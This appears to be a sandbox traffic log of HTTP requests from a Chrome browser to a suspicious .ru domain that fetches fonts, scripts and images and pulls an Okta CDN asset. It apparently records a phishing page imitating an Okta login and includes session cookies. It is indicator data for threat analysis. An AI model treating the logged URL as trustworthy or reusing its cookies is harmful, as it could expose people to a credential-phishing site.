Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveOrigin: https://86zv.vocalentr.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveOrigin: https://86zv.vocalentr.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56hPzwzVtFlu5QcqHNghXH7AOBj3RTcD89102 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnB1i2I9v3SqEo6FyENjkDalF7obO7s38ijLcZIPv4TZ7kXPhIfyTEODwx216 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klF6n18UGls3pqNSxcZKRjJfejCUkXekssjpoqrtLwppKCNOVtLHlcZR1McmwHYyz230 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klF6n18UGls3pqNSxcZKRjJfejCUkXekssjpoqrtLwppKCNOVtLHlcZR1McmwHYyz230 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnB1i2I9v3SqEo6FyENjkDalF7obO7s38ijLcZIPv4TZ7kXPhIfyTEODwx216 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxZEJrx51kq8pq2it90HGLYC2dKa4FqrZQTEVGEwOqjL34130 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opb4fXk2imfZLYfmqbH4zghRkX5rZFJxcMFNg45135 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mn6VbMxiDEdp67fcXcUJqkhB6U2IKbGkyZLqklsBRRgAuQe0bfWvS6vO378148 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klenvV35bx7eTnT9nHW4RzAycwxxkTQmSV3qVKO756165 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzwsk6DtYVwwnUxieDRPyf0Gp4hkbDUZd6BiLUAopYlbPwygahZxRRWxPcTKEvAWXLNrt90172 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opkAEsblHog8xRX40m9XIONg8HHZHN2eejfXGaws5EijFGuJjGOKuaiTDkxqhxPPrCQvlxZpAJef199 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://86zv.vocalentr.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
